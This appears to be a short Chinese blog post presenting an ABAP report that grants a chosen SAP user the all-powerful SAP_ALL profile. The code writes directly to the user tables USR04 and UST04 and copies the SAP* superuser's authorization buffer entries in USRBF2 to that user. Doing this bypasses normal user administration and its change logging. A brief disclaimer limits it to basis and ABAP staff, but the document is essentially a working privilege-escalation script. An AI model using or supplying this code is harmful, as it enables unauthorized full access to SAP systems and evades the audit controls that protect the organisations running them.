如何增加SAP_ALL的权限

给用户增加SAP_ALL的权限，报表可对basis与abap开发人员对用户权限管理的思路，谢绝用于其它用途，后果自负。
REPORT  ZTESTCREATEUSER.

data: l_USR04 LIKE  USR04 ,
      l_UST04 LIKE UST04 ,
      l_PROFS LIKE USR04-PROFS  ,
      l_USRBF2 like USRBF2 occurs 0 with header line,
      l_userid like usr01-bname.
TABLES : usr01.
SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04
where BNAME in p_user.
move 'C SAP_ALL' to l_PROFS .
l_USR04-NRPRO = '14'.
l_USR04-PROFS = l_PROFS.
Update USR04 from l_USR04 .
l_userid = l_USR04-BNAME.
select single * into l_UST04 from UST04
where BNAME in p_user.
l_UST04-PROFILE = 'SAP_ALL'.
Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2
where BNAME = 'SAP*' .
Loop at l_USRBF2.
l_USRBF2-BNAME = l_userid.
Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.